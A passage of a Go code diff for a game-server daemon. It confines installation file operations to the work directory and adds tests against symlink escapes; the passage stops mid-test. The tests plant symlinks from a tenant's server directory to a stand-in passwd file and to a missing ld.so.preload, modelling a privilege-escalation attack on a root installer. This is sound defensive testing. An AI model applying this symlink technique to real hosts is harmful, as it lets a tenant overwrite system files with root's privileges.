@@ func (in *installator) makeSteamCMDCommand(appID string, server *domain.Server) return execCmd.String() } -func (in *installator) chown(ctx context.Context, dst string, userName string) error { - err := osowner.ApplyRecursive(dst, osowner.Options{User: userName}) +// openSteamCMDDir opens the steamcmd directory as the root its tree is shared +// with the game server group through. +// +// The directory normally lies in the work directory, next to the game servers, +// where the user they run as can put a symlink in its place. It is reached +// through the work directory then, like a server directory. A directory the +// operator keeps elsewhere is opened by its path: nothing a tenant writes +// leads there. +func (in *installator) openSteamCMDDir() (*os.Root, error) { + if rel, ok := relativeToWorkDir(in.cfg.WorkDir(), in.cfg.SteamCMDPath); ok { + steamCMDDir, err := fsutil.OpenExistingDir(in.cfg.WorkDir(), rel, in.confineOpts...) + if err != nil { + return nil, errors.WithMessage( + err, + "failed to open it inside the work directory, symlinks that lead out of it are not followed", + ) + } + + return steamCMDDir, nil + } + + steamCMDDir, err := os.OpenRoot(in.cfg.SteamCMDPath) + if err != nil { + return nil, errors.Wrap(err, "failed to open directory") + } + + return steamCMDDir, nil +} + +// relativeToWorkDir expresses dir relative to workDir when it lies inside. +// +// The two are compared by their names, and a directory has more than one: the +// operator may have configured either of them through a symlink of the node, +// /srv for /mnt/data/srv. The work directory is therefore tried as configured +// and with its links resolved, and dir as configured and with the links of the +// directory holding it resolved. One match is enough: a directory that can be +// reached inside the work directory is one a tenant may have got to. +// +// The last element of dir is never resolved. What stands under that name is +// what the caller is about to open. +func relativeToWorkDir(workDir, dir string) (string, bool) { + bases := []string{workDir} + if resolved, err := filepath.EvalSymlinks(workDir); err == nil { + bases = append(bases, resolved) + } + + dirs := []string{dir} + if parent, err := filepath.EvalSymlinks(filepath.Dir(dir)); err == nil { + dirs = append(dirs, filepath.Join(parent, filepath.Base(dir))) + } + + for _, base := range bases { + for _, candidate := range dirs { + rel, err := filepath.Rel(base, candidate) + if err == nil && filepath.IsLocal(rel) { + return rel, true + } + } + } + + return "", false +} + +func (in *installator) chown(ctx context.Context, root *os.Root, userName string) error { + err := osowner.ApplyRecursiveInRoot(root, osowner.Options{User: userName}) if err != nil { err = errors.WithMessage(err, "[game_server_commands.installator] chown failed") in.writeOutput(ctx, err.Error()) diff --git a/internal/app/game_server_commands/install_server_confinement_unix_test.go b/internal/app/game_server_commands/install_server_confinement_unix_test.go new file mode 100644 index 0000000..0fefe5b --- /dev/null +++ b/internal/app/game_server_commands/install_server_confinement_unix_test.go @@ -0,0 +1,1408 @@ +//go:build linux || darwin + +package gameservercommands + +import ( + "archive/tar" + "archive/zip" + "bytes" + "compress/gzip" + "context" + "fmt" + "io" + "net/http" + "net/http/httptest" + "os" + "os/user" + "path/filepath" + "strconv" + "strings" + "syscall" + "testing" + "time" + + "github.com/gameap/daemon/internal/app/config" + "github.com/gameap/daemon/internal/app/contracts" + "github.com/gameap/daemon/internal/app/domain" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// The tests of this file are about one thing: an installation runs with the +// privileges of the daemon inside a directory the tenant of the game server +// writes to, and nothing the tenant leaves there may carry what the +// installation does out of that directory. + +const outsideContent = "root:x:0:0" + +// installStand is a work directory with the directory of one game server in +// it, and next to the work directory a directory of the node that no +// installation may touch. +type installStand struct { + cfg *config.Config + server *domain.Server + serverDir string + // outside is a directory out of the work directory and secret the one + // file in it. + outside string + secret string + output *bytes.Buffer + executor *testExecutor +} + +func givenInstallStand(t *testing.T) *installStand { + t.Helper() + + base := t.TempDir() + workPath := filepath.Join(base, "work") + outside := filepath.Join(base, "outside") + secret := filepath.Join(outside, "passwd") + + require.NoError(t, os.MkdirAll(filepath.Join(workPath, "test-server"), 0o755)) + require.NoError(t, os.Mkdir(outside, 0o755)) + require.NoError(t, os.WriteFile(secret, []byte(outsideContent), 0o600)) + + return &installStand{ + cfg: &config.Config{WorkPath: workPath}, + server: givenServer(t, domain.Game{StartCode: "test"}, domain.GameMod{Name: "test"}), + serverDir: filepath.Join(workPath, "test-server"), + outside: outside, + secret: secret, + output: &bytes.Buffer{}, + executor: &testExecutor{}, + } +} + +// installatorKinds are the two ways the installation is run: the first +// installation of a game server and its update. +var installatorKinds = map[string]func(*config.Config, contracts.Executor, io.ReadWriter) *installator{ + "installer": func(cfg *config.Config, executor contracts.Executor, output io.ReadWriter) *installator { + return newInstallator(cfg, executor, output) + }, + "updater": func(cfg *config.Config, executor contracts.Executor, output io.ReadWriter) *installator { + return newUpdater(cfg, executor, output) + }, +} + +func (s *installStand) install(kind string, rules ...*installationRule) error { + return installatorKinds[kind](s.cfg, s.executor, s.output).Install(context.Background(), s.server, rules) +} + +// assertOutsideUntouched checks that the directory out of the work directory +// holds what it held: the one file, with its content and mode. +func (s *installStand) assertOutsideUntouched(t *testing.T) { + t.Helper() + + entries, err := os.ReadDir(s.outside) + require.NoError(t, err) + + names := make([]string, 0, len(entries)) + for _, entry := range entries { + names = append(names, entry.Name()) + } + + require.Equal(t, []string{"passwd"}, names, "nothing may be created out of the work directory") + + info, err := os.Lstat(s.secret) + require.NoError(t, err) + assert.Equal(t, os.FileMode(0o600), info.Mode(), "the file out of the work directory keeps its type and mode") + + content, err := os.ReadFile(s.secret) + require.NoError(t, err) + assert.Equal(t, outsideContent, string(content), "the file out of the work directory keeps its content") +} + +func assertInstalledFile(t *testing.T, path, wantContent string, wantPerm os.FileMode) { + t.Helper() + + info, err := os.Lstat(path) + require.NoError(t, err) + require.True(t, info.Mode().IsRegular(), "%s has to be a regular file, it is %s", path, info.Mode()) + assert.Equal(t, wantPerm, info.Mode().Perm(), path) + + content, err := os.ReadFile(path) + require.NoError(t, err) + assert.Equal(t, wantContent, string(content), path) +} + +func assertInstalledSymlink(t *testing.T, path, wantTarget string) { + t.Helper() + + info, err := os.Lstat(path) + require.NoError(t, err) + require.NotZero(t, info.Mode()&os.ModeSymlink, "%s has to be a symlink, it is %s", path, info.Mode()) + + target, err := os.Readlink(path) + require.NoError(t, err) + assert.Equal(t, wantTarget, target) +} + +func localArchiveRule(path string) *installationRule { + return &installationRule{SourceValue: path, Action: unpackFromLocalRepository} +} + +func localDirectoryRule(path string) *installationRule { + return &installationRule{SourceValue: path, Action: copyDirectoryFromLocalRepository} +} + +func remoteRule(source string) *installationRule { + return &installationRule{SourceValue: source, Action: downloadAnUnpackFromRemoteRepository} +} + +// steamRule installs the Half-Life Dedicated Server, application 90 of Steam. +func steamRule() *installationRule { + return &installationRule{SourceValue: "90", Action: installFromSteam} +} + +func localRepositoryFixture(t *testing.T, name string) string { + t.Helper() + + path, err := filepath.Abs(filepath.Join("..", "..", "..", "test", "files", "local_repository", name)) + require.NoError(t, err) + + return path +} + +// givenRemoteRepository serves the files of dir the way a remote repository +// does and returns its address. +func givenRemoteRepository(t *testing.T, dir string) string { + t.Helper() + + server := httptest.NewServer(http.FileServer(http.Dir(dir))) + t.Cleanup(server.Close) + + return server.URL +} + +// deliveries are the two ways a repository file reaches the installation: read +// from the disk of the node, or downloaded. Each returns the rule that installs +// the file path names. +var deliveries = map[string]func(t *testing.T, path string) *installationRule{ + "local": func(_ *testing.T, path string) *installationRule { + return localArchiveRule(path) + }, + "remote": func(t *testing.T, path string) *installationRule { + t.Helper() + + return remoteRule(givenRemoteRepository(t, filepath.Dir(path)) + "/" + filepath.Base(path)) + }, +} + +// archiveEntry is one entry for givenTarGz. An entry with a linkname is a +// symlink, one whose name ends in a slash a directory, any other a file. +type archiveEntry struct { + name string + body string + mode int64 + linkname string +} + +// givenTarGz writes a tar.gz with the entries in the order given and returns +// its path. +func givenTarGz(t *testing.T, name string, entries ...archiveEntry) string { + t.Helper() + + path := filepath.Join(t.TempDir(), name) + + file, err := os.Create(path) + require.NoError(t, err) + + gzWriter := gzip.NewWriter(file) + tarWriter := tar.NewWriter(gzWriter) + + for _, entry := range entries { + header := &tar.Header{Name: entry.name, Mode: entry.mode, Size: int64(len(entry.body))} + + switch { + case entry.linkname != "": + header.Typeflag = tar.TypeSymlink + header.Linkname = entry.linkname + header.Mode = 0o777 + case strings.HasSuffix(entry.name, "/"): + header.Typeflag = tar.TypeDir + default: + header.Typeflag = tar.TypeReg + } + + if header.Mode == 0 { + header.Mode = 0o644 + if header.Typeflag == tar.TypeDir { + header.Mode = 0o755 + } + } + + require.NoError(t, tarWriter.WriteHeader(header)) + + _, err := tarWriter.Write([]byte(entry.body)) + require.NoError(t, err) + } + + require.NoError(t, tarWriter.Close()) + require.NoError(t, gzWriter.Close()) + require.NoError(t, file.Close()) + + return path +} + +// The report this file answers to: a game server leaves a symlink under the +// name of a file its game archive holds, and the next installation or update, +// unpacking as root, writes the file to where the link leads. +func TestInstallator_ArchiveFileMeetsASymlink(t *testing.T) { + t.Parallel() + + archives := []struct { + name string + file string + entry string + }{ + {name: "tar_gz", file: "game.tar.gz", entry: "game_file_from_tar_gz"}, + {name: "tar_xz", file: "game.tar.xz", entry: "game_file_from_tar_xz"}, + {name: "zip", file: "game.zip", entry: "game_file_from_zip"}, + } + + links := map[string]func(s *installStand) string{ + "link_to_a_file_outside": func(s *installStand) string { + return s.secret + }, + "relative_link_to_a_file_outside": func(*installStand) string { + return "../../outside/passwd" + }, + "link_to_a_missing_file_outside": func(s *installStand) string { + return filepath.Join(s.outside, "ld.so.preload") + }, + } + + for _, archive := range archives { + for linkName, link := range links { + for deliveryName, delivery := range deliveries { + for kind := range installatorKinds { + name := strings.Join([]string{archive.name, linkName, deliveryName, kind}, "/") + + t.Run(name, func(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + require.NoError(t, os.Symlink(link(stand), filepath.Join(stand.serverDir, archive.entry))) + + err := stand.install(kind, delivery(t, localRepositoryFixture(t, archive.file))) + + stand.assertOutsideUntouched(t) + require.NoError(t, err) + assertInstalledFile(t, filepath.Join(stand.serverDir, archive.entry), archive.entry+"\n", 0o644) + }) + } + } + } + } +} + +// A symlink of a tar archive used to be unpacked as an empty file with the +// mode of the link, 0777, through whatever stood under its name: enough to +// create a file anywhere on the node and leave it writable for everybody. The +// archives of Counter-Strike and Quake 2 carry such entries. +func TestInstallator_ArchiveSymlinkMeetsASymlink(t *testing.T) { + t.Parallel() + + archive := givenTarGz(t, "hlcs_base.tar.gz", + archiveEntry{name: "./"}, + archiveEntry{name: "./libSDL2.so", linkname: "libSDL2-2.0.so.0"}, + archiveEntry{name: "./libSDL2-2.0.so.0", body: "ELF", mode: 0o755}, + ) + + tests := []struct { + name string + // plant leaves something under the name of the symlink entry. + plant func(t *testing.T, s *installStand) + }{ + { + name: "nothing_stands_under_its_name", + plant: func(*testing.T, *installStand) {}, + }, + { + name: "link_to_a_missing_file_outside_stands_under_its_name", + plant: func(t *testing.T, s *installStand) { + t.Helper() + + target := filepath.Join(s.outside, "ld.so.preload") + require.NoError(t, os.Symlink(target, filepath.Join(s.serverDir, "libSDL2.so"))) + }, + }, + { + name: "link_to_a_file_outside_stands_under_its_name", + plant: func(t *testing.T, s *installStand) { + t.Helper() + + require.NoError(t, os.Symlink(s.secret, filepath.Join(s.serverDir, "libSDL2.so"))) + }, + }, + } + + for _, tt := range tests { + for deliveryName, delivery := range deliveries { + for kind := range installatorKinds { + t.Run(strings.Join([]string{tt.name, deliveryName, kind}, "/"), func(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + tt.plant(t, stand) + + err := stand.install(kind, delivery(t, archive)) + + stand.assertOutsideUntouched(t) + require.NoError(t, err) + assertInstalledSymlink(t, filepath.Join(stand.serverDir, "libSDL2.so"), "libSDL2-2.0.so.0") + assertInstalledFile(t, filepath.Join(stand.serverDir, "libSDL2-2.0.so.0"), "ELF", 0o755) + }) + } + } + } +} + +// A symlink in place of a directory of the archive takes every file below it +// along. One that leads out of the server directory is not followed and not +// taken away either: the installation stops and says which link it is. +func TestInstallator_ArchiveDirectoryMeetsASymlink(t *testing.T) { + t.Parallel() + + archives := map[string]string{ + "archive_names_the_directory": givenTarGz(t, "game.tar.gz", + archiveEntry{name: "cstrike/"}, + archiveEntry{name: "cstrike/addons/"}, + archiveEntry{name: "cstrike/addons/plugins.ini", body: "plugins"}, + ), + "archive_names_only_the_file_inside": givenTarGz(t, "game.tar.gz", + archiveEntry{name: "cstrike/addons/plugins.ini", body: "plugins"}, + ), + } + + tests := []struct { + name string + plant func(t *testing.T, s *installStand) + wantError string + wantFile string + }{ + { + name: "link_out_of_the_server_directory", + plant: func(t *testing.T, s *installStand) { + t.Helper() + + require.NoError(t, os.Mkdir(filepath.Join(s.serverDir, "cstrike"), 0o755)) + require.NoError(t, os.Symlink(s.outside, filepath.Join(s.serverDir, "cstrike", "addons"))) + }, + wantError: `"cstrike/addons" is a symlink that is not followed inside the destination`, + }, + { + name: "relative_link_out_of_the_server_directory", + plant: func(t *testing.T, s *installStand) { + t.Helper() + + require.NoError(t, os.Mkdir(filepath.Join(s.serverDir, "cstrike"), 0o755)) + require.NoError(t, os.Symlink("../../../outside", filepath.Join(s.serverDir, "cstrike", "addons"))) + }, + wantError: `"cstrike/addons" is a symlink that is not followed inside the destination`, + }, + { + name: "link_out_of_the_server_directory_on_the_way", + plant: func(t *testing.T, s *installStand) { + t.Helper() + + require.NoError(t, os.Symlink(s.outside, filepath.Join(s.serverDir, "cstrike"))) + }, + wantError: `"cstrike" is a symlink that is not followed inside the destination`, + }, + { + name: "link_to_the_directory_of_another_server", + plant: func(t *testing.T, s *installStand) { + t.Helper() + + neighbour := filepath.Join(s.cfg.WorkPath, "neighbour") + require.NoError(t, os.Mkdir(neighbour, 0o755)) + require.NoError(t, os.Mkdir(filepath.Join(s.serverDir, "cstrike"), 0o755)) + require.NoError(t, os.Symlink("../../neighbour", filepath.Join(s.serverDir, "cstrike", "addons"))) + }, + wantError: `"cstrike/addons" is a symlink that is not followed inside the destination`, + }, + { + name: "link_to_a_directory_of_the_server_itself", + plant: func(t *testing.T, s *installStand) { + t.Helper() + + require.NoError(t, os.MkdirAll(filepath.Join(s.serverDir, "shared", "addons"), 0o755)) + require.NoError(t, os.Mkdir(filepath.Join(s.serverDir, "cstrike"), 0o755)) + require.NoError(t, os.Symlink("../shared/addons", filepath.Join(s.serverDir, "cstrike", "addons"))) + }, + wantFile: "shared/addons/plugins.ini", + }, + } + + for _, tt := range tests { + for archiveName, archive := range archives { + for deliveryName, delivery := range deliveries { + t.Run(strings.Join([]string{tt.name, archiveName, deliveryName}, "/"), func(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + tt.plant(t, stand) + + err := stand.install("updater", delivery(t, archive)) + + stand.assertOutsideUntouched(t) + assert.NoFileExists(t, filepath.Join(stand.cfg.WorkPath, "neighbour", "plugins.ini")) + + if tt.wantError != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantError) + assert.Contains(t, stand.output.String(), tt.wantError, "the tenant is told which link is in the way") + + return + } + + require.NoError(t, err) + assertInstalledFile(t, filepath.Join(stand.serverDir, filepath.FromSlash(tt.wantFile)), "plugins", 0o644) + }) + } + } + } +} + +// Where the work directory belongs to the user the game servers run as, the +// name of the server directory is the tenant's to replace. A symlink in its +// place used to hand the tree it names to the installation: unpacked into, and +// given to the game server user file by file. +func TestInstallator_ServerDirReplacedByASymlink(t *testing.T) { + t.Parallel() + + rules := map[string]func(t *testing.T) *installationRule{ + "local_archive": func(t *testing.T) *installationRule { + t.Helper() + + return localArchiveRule(localRepositoryFixture(t, "game.tar.gz")) + }, + "remote_archive": func(t *testing.T) *installationRule { + t.Helper() + + return deliveries["remote"](t, localRepositoryFixture(t, "game.zip")) + }, + "remote_file": func(t *testing.T) *installationRule { + t.Helper() + + dir := t.TempDir() + require.NoError(t, os.WriteFile(filepath.Join(dir, "server.jar"), []byte("jar"), 0o644)) + + return deliveries["remote"](t, filepath.Join(dir, "server.jar")) + }, + "local_directory": func(t *testing.T) *installationRule { + t.Helper() + + path, err := filepath.Abs(filepath.Join("..", "..", "..", "test", "files", "directory")) + require.NoError(t, err) + + return localDirectoryRule(path) + }, + "steam": func(*testing.T) *installationRule { + return steamRule() + }, + } + + links := map[string]func(s *installStand) string{ + "absolute_link": func(s *installStand) string { return s.outside }, + "relative_link": func(*installStand) string { return "../outside" }, + } + + for ruleName, rule := range rules { + for linkName, link := range links { + for kind := range installatorKinds { + t.Run(strings.Join([]string{ruleName, linkName, kind}, "/"), func(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + stand.cfg.SteamCMDPath = filepath.Join(stand.cfg.WorkPath, "steamcmd") + require.NoError(t, os.Mkdir(stand.cfg.SteamCMDPath, 0o755)) + + require.NoError(t, os.Remove(stand.serverDir)) + require.NoError(t, os.Symlink(link(stand), stand.serverDir)) + + err := stand.install(kind, rule(t)) + + stand.assertOutsideUntouched(t) + require.Error(t, err) + assert.Contains(t, err.Error(), `failed to open server directory "test-server" inside the work directory`) + assert.Contains(t, err.Error(), "symlinks that lead out of it are not followed") + assert.Contains(t, err.Error(), "path escapes from parent") + assert.Contains(t, stand.output.String(), "symlinks that lead out of it are not followed") + assert.Empty(t, stand.executor.command, "steamcmd is not started for a directory that was refused") + assertInstalledSymlink(t, stand.serverDir, link(stand)) + }) + } + } + } +} + +// The other side of the same rule, written down so that it is not mistaken for +// a protection: the work directory is the boundary, not the server directory. +// A link that stays inside the work directory is followed, as the file manager +// follows it, because whoever can replace the name of a server directory owns +// the work directory already. +func TestInstallator_ServerDirLinkedInsideTheWorkDir(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + require.NoError(t, os.Mkdir(filepath.Join(stand.cfg.WorkPath, "moved"), 0o755)) + require.NoError(t, os.Remove(stand.serverDir)) + require.NoError(t, os.Symlink("moved", stand.serverDir)) + + err := stand.install("installer", localArchiveRule(localRepositoryFixture(t, "game.tar.gz"))) + + require.NoError(t, err) + stand.assertOutsideUntouched(t) + assertInstalledFile(t, filepath.Join(stand.cfg.WorkPath, "moved", "game_file_from_tar_gz"), "game_file_from_tar_gz\n", 0o644) +} + +func TestInstallator_ServerDirNamedOutOfTheWorkDir(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + stand.server = domain.NewServer( + 1, true, domain.ServerInstalled, false, "name", + "759b875e-d910-11eb-aff7-d796d7fcf7ef", "759b875e", + domain.Game{StartCode: "test"}, domain.GameMod{Name: "test"}, + "1.3.3.7", 1337, 1338, 1339, "paS$w0rD", + "../outside", "gameap-user", + "./run.sh", "", "", "", false, time.Now(), + map[string]string{}, map[string]string{}, time.Now(), 0, 0, + ) + + err := stand.install("installer", localArchiveRule(localRepositoryFixture(t, "game.tar.gz"))) + + stand.assertOutsideUntouched(t) + require.Error(t, err) + assert.Contains(t, err.Error(), `failed to open server directory "../outside" inside the work directory`) + assert.Contains(t, err.Error(), "path is outside work directory") +} + +// A file of a repository kept as a directory replaces a symlink standing under +// its name the way a file of an archive does. +func TestInstallator_LocalDirectoryFileMeetsASymlink(t *testing.T) { + t.Parallel() + + repository, err := filepath.Abs(filepath.Join("..", "..", "..", "test", "files", "directory")) + require.NoError(t, err) + + links := map[string]func(s *installStand) string{ + "link_to_a_file_outside": func(s *installStand) string { return s.secret }, + "link_to_a_missing_file_outside": func(s *installStand) string { return filepath.Join(s.outside, "created") }, + "link_to_a_file_of_the_server": func(*installStand) string { return "banned.cfg" }, + } + + for linkName, link := range links { + for kind := range installatorKinds { + t.Run(linkName+"/"+kind, func(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + banned := filepath.Join(stand.serverDir, "banned.cfg") + require.NoError(t, os.WriteFile(banned, []byte("banid 1"), 0o600)) + require.NoError(t, os.Symlink(link(stand), filepath.Join(stand.serverDir, "directory_file.txt"))) + + err := stand.install(kind, localDirectoryRule(repository)) + + stand.assertOutsideUntouched(t) + require.NoError(t, err) + assertInstalledFile(t, banned, "banid 1", 0o600) + assertInstalledFile(t, filepath.Join(stand.serverDir, "directory_file.txt"), "directory_file.txt\n", 0o644) + }) + } + } +} + +func TestInstallator_LocalDirectoryMeetsASymlinkInPlaceOfADirectory(t *testing.T) { + t.Parallel() + + repository := t.TempDir() + require.NoError(t, os.Mkdir(filepath.Join(repository, "addons"), 0o755)) + require.NoError(t, os.WriteFile(filepath.Join(repository, "addons", "plugins.ini"), []byte("plugins"), 0o644)) + + stand := givenInstallStand(t) + require.NoError(t, os.Symlink(stand.outside, filepath.Join(stand.serverDir, "addons"))) + + err := stand.install("installer", localDirectoryRule(repository)) + + stand.assertOutsideUntouched(t) + require.Error(t, err) + assert.Contains(t, err.Error(), "failed to copy files") + assert.Contains(t, err.Error(), "path escapes from parent") +} + +// A repository file that is no archive is stored as it is, under its own name: +// a jar, a single binary. It replaces what stands under that name like a file +// of an archive does. +func TestInstallator_PlainFile(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + delivery string + // mode is the mode of the file in the repository. + mode os.FileMode + plant func(t *testing.T, s *installStand) + wantPerm os.FileMode + }{ + { + name: "downloaded_file_is_stored", + delivery: "remote", + mode: 0o755, + wantPerm: 0o644, + }, + { + name: "local_file_is_copied_with_its_mode", + delivery: "local", + mode: 0o750, + wantPerm: 0o750, + }, + { + name: "downloaded_file_replaces_a_link_to_a_file_outside", + delivery: "remote", + mode: 0o644, + plant: func(t *testing.T, s *installStand) { + t.Helper() + + require.NoError(t, os.Symlink(s.secret, filepath.Join(s.serverDir, "server.jar"))) + }, + wantPerm: 0o644, + }, + { + name: "downloaded_file_replaces_a_link_to_a_missing_file_outside", + delivery: "remote", + mode: 0o644, + plant: func(t *testing.T, s *installStand) { + t.Helper() + + require.NoError(t, os.Symlink(filepath.Join(s.outside, "created"), filepath.Join(s.serverDir, "server.jar"))) + }, + wantPerm: 0o644, + }, + { + name: "local_file_replaces_a_link_to_a_file_outside", + delivery: "local", + mode: 0o644, + plant: func(t *testing.T, s *installStand) { + t.Helper() + + require.NoError(t, os.Symlink(s.secret, filepath.Join(s.serverDir, "server.jar"))) + }, + wantPerm: 0o644, + }, + { + name: "file_replaces_an_older_and_longer_one", + delivery: "remote", + mode: 0o644, + plant: func(t *testing.T, s *installStand) { + t.Helper() + + old := filepath.Join(s.serverDir, "server.jar") + require.NoError(t, os.WriteFile(old, []byte("the jar of the previous version"), 0o600)) + }, + wantPerm: 0o644, + }, + } + + for _, tt := range tests { + for kind := range installatorKinds { + t.Run(tt.name+"/"+kind, func(t *testing.T) { + t.Parallel() + + repository := t.TempDir() + source := filepath.Join(repository, "server.jar") + require.NoError(t, os.WriteFile(source, []byte("PK jar content"), 0o600)) + require.NoError(t, os.Chmod(source, tt.mode)) + + stand := givenInstallStand(t) + if tt.plant != nil { + tt.plant(t, stand) + } + + err := stand.install(kind, deliveries[tt.delivery](t, source)) + + stand.assertOutsideUntouched(t) + require.NoError(t, err) + assertInstalledFile(t, filepath.Join(stand.serverDir, "server.jar"), "PK jar content", tt.wantPerm) + assertInstalledFile(t, source, "PK jar content", tt.mode) + }) + } + } +} + +func TestInstallator_ArchiveFormats(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + archive string + wantFile string + }{ + {name: "tar_gz", archive: "game.tar.gz", wantFile: "game_file_from_tar_gz"}, + {name: "tar_xz", archive: "game.tar.xz", wantFile: "game_file_from_tar_xz"}, + {name: "zip", archive: "game.zip", wantFile: "game_file_from_zip"}, + {name: "seven_zip", archive: "game.7z", wantFile: "game_file_from_7z"}, + } + + for _, tt := range tests { + for deliveryName, delivery := range deliveries { + t.Run(tt.name+"/"+deliveryName, func(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + + err := stand.install("installer", delivery(t, localRepositoryFixture(t, tt.archive))) + + require.NoError(t, err) + assertInstalledFile(t, filepath.Join(stand.serverDir, tt.wantFile), tt.wantFile+"\n", 0o644) + + entries, err := os.ReadDir(stand.serverDir) + require.NoError(t, err) + require.Len(t, entries, 1, "the archive itself is not left in the server directory") + }) + } + } +} + +func TestInstallator_EmptyArchive(t *testing.T) { + t.Parallel() + + archive := filepath.Join(t.TempDir(), "game.zip") + + file, err := os.Create(archive) + require.NoError(t, err) + require.NoError(t, zip.NewWriter(file).Close()) + require.NoError(t, file.Close()) + + for deliveryName, delivery := range deliveries { + t.Run(deliveryName, func(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + + err := stand.install("installer", delivery(t, archive)) + + require.Error(t, err) + assert.Contains(t, err.Error(), `failed to unpack "game.zip": the archive holds no files`) + assert.Contains(t, stand.output.String(), "the archive holds no files") + }) + } +} + +func TestInstallator_BrokenArchive(t *testing.T) { + t.Parallel() + + archive := filepath.Join(t.TempDir(), "game.zip") + require.NoError(t, os.WriteFile(archive, []byte("the page a mirror serves instead"), 0o644)) + + for deliveryName, delivery := range deliveries { + t.Run(deliveryName, func(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + + err := stand.install("installer", delivery(t, archive)) + + require.Error(t, err) + assert.Contains(t, err.Error(), `failed to unpack "game.zip"`) + assert.Contains(t, err.Error(), "failed to read zip archive") + + entries, err := os.ReadDir(stand.serverDir) + require.NoError(t, err) + assert.Empty(t, entries) + }) + } +} + +// What the remote repository field accepts is a link to a file. The sources +// only the library that used to download understood are refused one by one, +// and the installation goes on to the next way of installing the game. +func TestInstallator_UnsupportedRemoteSource(t *testing.T) { + t.Parallel() + + sources := map[string]string{ + "ftp": "ftp://files.example.com/game.tar.gz", + "s3_bucket": "s3::https://s3.amazonaws.com/bucket/game.tar.gz", + "git_repository": "git::https://github.com/example/game.git", + "directory": "https://files.example.com/games/", + } + + for name, source := range sources { + t.Run(name, func(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + + err := stand.install( + "installer", + remoteRule(source), + localArchiveRule(localRepositoryFixture(t, "game.tar.gz")), + ) + + require.NoError(t, err) + assert.Contains(t, stand.output.String(), "failed to download files") + assert.Contains(t, stand.output.String(), "unsupported source, a direct http or https link to a file is expected") + assertInstalledFile(t, filepath.Join(stand.serverDir, "game_file_from_tar_gz"), "game_file_from_tar_gz\n", 0o644) + }) + } +} + +func TestInstallator_UnsupportedRemoteSourceIsTheOnlyOne(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + + err := stand.install("installer", remoteRule("ftp://files.example.com/game.tar.gz")) + + require.Error(t, err) + assert.Contains(t, err.Error(), "unsupported source, a direct http or https link to a file is expected") +} + +// An archive is not turned away for a symlink that leads out of the server +// directory: the link is left out, and the output of the installation says so. +func TestInstallator_ReportsSymlinksLeftOut(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + links int + wantLines []string + wantNoLines []string + }{ + { + name: "every_link_is_named", + links: 2, + wantLines: []string{ + `Warning: symlink "lib/link0.so" -> "/usr/lib/link0.so" was not created: absolute symlink target`, + `Warning: symlink "lib/link1.so" -> "/usr/lib/link1.so" was not created: absolute symlink target`, + }, + wantNoLines: []string{"more symlinks were not created"}, + }, + { + name: "a_long_list_is_cut_short", + links: 25, + wantLines: []string{ + `Warning: symlink "lib/link0.so" -> "/usr/lib/link0.so" was not created: absolute symlink target`, + `Warning: symlink "lib/link19.so" -> "/usr/lib/link19.so" was not created: absolute symlink target`, + "... and 5 more symlinks were not created", + }, + wantNoLines: []string{`"lib/link20.so"`}, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + entries := []archiveEntry{{name: "hlds_run", body: "#!/bin/sh", mode: 0o755}} + for i := range tt.links { + entries = append(entries, archiveEntry{ + name: fmt.Sprintf("lib/link%d.so", i), + linkname: fmt.Sprintf("/usr/lib/link%d.so", i), + }) + } + + stand := givenInstallStand(t) + + err := stand.install("installer", localArchiveRule(givenTarGz(t, "game.tar.gz", entries...))) + + require.NoError(t, err) + assertInstalledFile(t, filepath.Join(stand.serverDir, "hlds_run"), "#!/bin/sh", 0o755) + assert.NoFileExists(t, filepath.Join(stand.serverDir, "lib", "link0.so")) + + for _, line := range tt.wantLines { + assert.Contains(t, stand.output.String(), line) + } + + for _, line := range tt.wantNoLines { + assert.NotContains(t, stand.output.String(), line) + } + }) + } +} + +// The server directory is created by the installation that finds none. +// steamcmd gets one nobody but the game server user looks into. +func TestInstallator_CreatesTheServerDir(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + rule func(t *testing.T) *installationRule + wantPerm os.FileMode + }{ + { + name: "archive", + rule: func(t *testing.T) *installationRule { + t.Helper() + + return localArchiveRule(localRepositoryFixture(t, "game.tar.gz")) + }, + wantPerm: 0o755, + }, + { + name: "steam", + rule: func(*testing.T) *installationRule { + return steamRule() + }, + wantPerm: 0o750, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + base := t.TempDir() + steamCMD := filepath.Join(base, "steamcmd") + require.NoError(t, os.Mkdir(steamCMD, 0o755)) + + stand := givenInstallStand(t) + stand.cfg = &config.Config{WorkPath: base, SteamCMDPath: steamCMD} + stand.server = domain.NewServer( + 1, true, domain.ServerInstalled, false, "name", + "759b875e-d910-11eb-aff7-d796d7fcf7ef", "759b875e", + domain.Game{StartCode: "test"}, domain.GameMod{Name: "test"}, + "1.3.3.7", 1337, 1338, 1339, "paS$w0rD", + "servers/759b875e", "gameap-user", + "./run.sh", "", "", "", false, time.Now(), + map[string]string{}, map[string]string{}, time.Now(), 0, 0, + ) + + err := stand.install("installer", tt.rule(t)) + + require.NoError(t, err) + + info, err := os.Lstat(filepath.Join(base, "servers", "759b875e")) + require.NoError(t, err) + assert.Equal(t, os.ModeDir|tt.wantPerm, info.Mode()) + + parent, err := os.Lstat(filepath.Join(base, "servers")) + require.NoError(t, err) + assert.Equal(t, os.ModeDir|0o755, parent.Mode(), "the directories on the way stay passable") + }) + } +} + +// The steamcmd directory is shared with the group of the game servers before +// steamcmd runs: group, mode and setgid bit of the whole tree are changed as +// root. It lies in the work directory, where a symlink can take its place. +func TestInstallator_SteamCMDDir(t *testing.T) { + 